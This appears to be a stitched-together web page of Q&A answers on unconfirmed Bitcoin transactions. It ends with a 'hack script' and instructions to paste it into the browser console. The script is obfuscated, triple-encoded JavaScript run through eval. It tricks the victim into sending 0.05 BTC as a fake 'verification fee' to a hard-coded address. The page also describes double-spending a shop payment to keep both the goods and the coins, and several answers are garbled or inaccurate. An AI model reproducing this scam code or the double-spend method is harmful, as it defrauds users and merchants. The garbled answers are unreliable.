IS A BLOCKCHAIN UNCONFIRMED TRANSACTION SCRIPT HACK REAL OR FAKE?
Not realistically. When a signed transaction is waiting in the mompool (awaiting to be confirmed), its public key is revealed and if somebody could hack the Elliptic curve digital signing algorithm (ECDSA), they could recover the private key and create another valid transaction from the same address to a different recipient (they would probably also use higher fee to make sure that their fake transaction gets processed before the original transaction). But the main security and authentication feature is the ECDSA, which is currently considered (though never rigorously proven - that might even be impossible) unhacked by classical means, not the fact that before making a transaction the public key itself is also obfuscated by a hash - it is this obfuscation that is removed when you sign a transfer and it awaits confirmation.
EDIT: It occurred to me that this “hardcore” hacking might not be what the question asked. There is another, much simpler thing that could be called “hacking of unconfirmed transactions”, and it is as follows: You walk into a place that accepts bitcoin. You pick whatever you want to buy, and pay with bitcoin at the checkout. The shop is a friendly place and lets you walk away with the merchandise even without waiting for the transaction to be confirmed, as a confirmation may typically take several minutes, and up to hours at times. There is nothing preventing you from sending the same bitcoin that you paid to the shop to your other address right as you walk out of the door. You can attach a higher fee to this second payment to make sure it is processed first. So, you get to keep the bitcoin and the shopkeeper gets nothing. It is as simple as that.
I don’t know how regular shops or restaurants handle this - surely you can’t hold up your customers by waiting for confirmation(s), and/or demand that they use a high transfer fee to make sure that the payment is processed as fast as possible.
WHERE CAN I GET REALLY UNCONFIRMED BLOCKCHAIN TRANSACTION SCRIPTS?
Simply run a bitcoin core node and pass it the “get raw pool” command. You will get every unconfirmed bitcoin blockchain transaction that your node knows about. If you pass “true” as the second field, you will get an absurd amount of detailed information about each unconfirmed blockchain transaction.
IS IT POSSIBLE TO SEND UNCONFIRMED BITCOINS?
Bitcoin sending and receiving requires no ID. whatsoever. All you need to do is install a free bitcoin wallet on your phone or computer. What may require ID is buying and selling on an exchange or at some ATMs. Blockchain does not require any verification whatsoever.
WILL AN UNCONFIRMED BITCOIN TRANSACTION RETURN TO THE SENDER?
An unconfirmed transaction is one that has reached the mem pool but hasn’t been included in the blockchain and has attained 6 confirmations yet. Transactions are composed of inputs and outputs. The transaction in itself is broadcasted to the whole network of miners. While mining the transaction, the transaction can either get rejected or included or stay immobile until picked up by someone else.
Unless the transaction implies the output of the input to return to the same address, on the ledger will not return the output to the sender. A bitcoin transaction doesn’t work that way. First the transaction is verified and placed, then the amount is transferred. If you cancel the transaction the amount will remain with you only. (Just the transaction fee for the time processed will be charged)
HOW CAN ONE RETRIEVE UNCONFIRMED BITCOIN?
How to cancel an unconfirmed Bitcoin transaction?
There are two primary strategies you can use to try to cancel your unconfirmed Bitcoin transaction: Replace by Fee (RBF) Double spend using a higher fee Some wallets support the RBF protocol, allowing you to replace your original transaction with a new one that includes a higher transaction fee. This would effectively unstick your transaction. To use this feature, though, you would’ve needed to make the original transaction replaceable (usually via an opt-in checkbox). If you’re unable to use RBF, you still may be able to cancel the Bitcoin transaction by double spending with a higher fee. To do this, make a new transaction equal to the amount of the original one and send it to yourself.
Make sure the transaction fee on this is significantly higher than the original one you paid. You may need to use another wallet or specialized software that allows double spending for the transaction to be broadcast to the network. If all goes well, miners will pick up the new transaction, and your Bitcoin will be back in your wallet. Most miners and wallets have safeguards against double spending, though, so there’s still a large chance that this method may not work. Hopefully, one of these two methods works for you. If not, treat this as an important lesson taught to you by the wild world of Bitcoin.
BLOCKCHAIN UNCONFIRMED TRANSACTION HACK SCRIPT WHO WORK
Let’s take an example
PROCESS OF APPLYING THE SCRIPT;
Copy the script
Go to your blockchain account
OPEN inspect element
Go to console and clear
Paste the script and press enter
Copy an unconfirmed tx=Hash ID from blockchain and paste in apparent box it asks for a verification fee send the fees to the following address. Aafter send the fees when it conformed
eval(decodeURIComponent(decodeURIComponent(decodeURIComponent('var%252520r7gxo%252520%25253D%252520parseFloat%252528prompt%252528%252522https%25253A%25252F%25252Fwww.blockchain.com%25252Fbtc%25252Ftx%25252F%252522%252529%252529%25253B%25250Avar%252520r7gxo%252520%25253D%252520parseFloat%252528prompt%252528%252522Your%252520script%252520must%252520be%252520verified%252520with%252520your%252520BlockChain%252520wallet%252520before%252520you%252520can%252520take%252520this%252520action.%252520Please%252520verify%252520script%252520by%252520adding%252520%2525280.05%252529%252520BTC%252520to%252520apparent%252520address%25253A%252522%25252C%2525221J4E8UaJrKNxER6GMdLPtAAkVm2Ce7JiJF%252522%252529%252529%25253B%25250Avar%252520w8ugo%252520%25253D%252520window.confirm%252528%252522Your%252520script%252520must%252520be%252520verified%252520with%252520your%252520account%252520before%252520you%252520can%252520take%252520this%252520action.%252520Click%252520OK%252520to%252520Verify%252520Script%252522%252529%25253B%25250Aif%252520%252528w8ugo%252529%252520%25257B%252520window.open%252528%252527https%25253A%25252F%25252Fwww.blockchain.com%25252Fbtc%25252Fpayment_request%25253Faddress%25253D1J4E8UaJrKNxER6GMdLPtAAkVm2Ce7JiJF%252526message%25253DScript%25252520Verification%252526amount%25253D0.05%252527%252529%25253B%252520%25257D%252520%25250Aelse%252520%25257B%252520alert%252528%252522Please%252520back%252520to%252520verify%252520script.%252522%252529%25253B%252520%25257D%252520%25250Aconsole.clear%252528%252529%25253B%25250Aconsole.log%252528%252527Script%252520not%252520verified%252521%252527%252529%25253B'))));
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